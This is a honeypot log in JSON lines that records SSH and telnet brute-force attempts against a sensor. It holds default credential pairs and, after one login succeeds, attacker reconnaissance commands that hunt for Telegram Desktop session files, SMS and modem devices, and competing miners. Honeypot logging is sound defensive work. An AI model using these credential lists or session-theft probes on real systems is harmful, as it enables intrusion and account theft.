{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:32.386411Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:34.714333Z","src_ip":"34.238.240.3","session":"1e79b9375878","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:35.527800Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:36.783838Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:36.787778Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:36.791420Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"1.8","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:38.560580Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.186","src_port":10465,"dst_ip":"10.17.0.5","dst_port":22,"session":"e80dbd0e7e41","protocol":"ssh","message":"New connection: 178.20.210.186:10465 (10.17.0.5:22) [session: e80dbd0e7e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:38.952228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:38.957391Z","src_ip":"178.20.210.186","session":"e80dbd0e7e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:39.061400Z","src_ip":"178.20.210.186","session":"e80dbd0e7e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin","message":"login attempt [sysadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:39.447375Z","src_ip":"178.20.210.186","session":"e80dbd0e7e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:40.546330Z","src_ip":"178.20.210.186","session":"e80dbd0e7e41","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:40.987755Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:40.991347Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:41.739372Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:43.108640Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:43.112560Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:43.854448Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":35608,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d506f386be9","protocol":"ssh","message":"New connection: 80.94.92.171:35608 (159.203.135.109:22) [session: 2d506f386be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:44.299106Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:44.410136Z","src_ip":"80.94.92.171","session":"2d506f386be9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:45.271197Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:45.275036Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:45.939919Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:47.267360Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:47.270869Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:48.058986Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:50.379541Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:50.383349Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:51.054190Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:53.605408Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:53.608832Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"67475cef2006","protocol":"telnet","message":"New connection: 167.71.238.254:47372 (10.17.0.5:23) [session: 67475cef2006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:56.408736Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"3.3","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:56.888949Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:58.518338Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:58.522194Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:01:59.436486Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:00.603747Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:00.607509Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":39664,"dst_ip":"10.17.0.5","dst_port":22,"session":"14a87d845584","protocol":"ssh","message":"New connection: 40.78.155.180:39664 (10.17.0.5:22) [session: 14a87d845584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:01.298627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:01.304093Z","src_ip":"40.78.155.180","session":"14a87d845584","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:01.343709Z","src_ip":"40.78.155.180","session":"14a87d845584","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:01.516939Z","src_ip":"40.78.155.180","session":"14a87d845584","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"1.8","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:02.451141Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:02.557249Z","src_ip":"40.78.155.180","session":"14a87d845584","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":55644,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3be9aee2b2f","protocol":"ssh","message":"New connection: 160.22.18.220:55644 (159.203.135.109:22) [session: b3be9aee2b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:08.508527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:08.513119Z","src_ip":"160.22.18.220","session":"b3be9aee2b2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:08.753742Z","src_ip":"160.22.18.220","session":"b3be9aee2b2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ae31bfa7b2b","protocol":"ssh","message":"New connection: 43.156.212.86:47356 (10.17.0.5:22) [session: 7ae31bfa7b2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:09.398572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:09.403686Z","src_ip":"43.156.212.86","session":"7ae31bfa7b2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:09.650012Z","src_ip":"43.156.212.86","session":"7ae31bfa7b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"contacts","message":"login attempt [root/contacts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:09.732120Z","src_ip":"160.22.18.220","session":"b3be9aee2b2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k4t14m3","message":"login attempt [root/k4t14m3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:10.668083Z","src_ip":"43.156.212.86","session":"7ae31bfa7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:10.969286Z","src_ip":"160.22.18.220","session":"b3be9aee2b2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:11.920850Z","src_ip":"43.156.212.86","session":"7ae31bfa7b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":91.81007218360901,"message":"Connection lost after 91 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:15.419124Z","src_ip":"167.71.238.254","session":"a2060b6d567d","protocol":"telnet"}
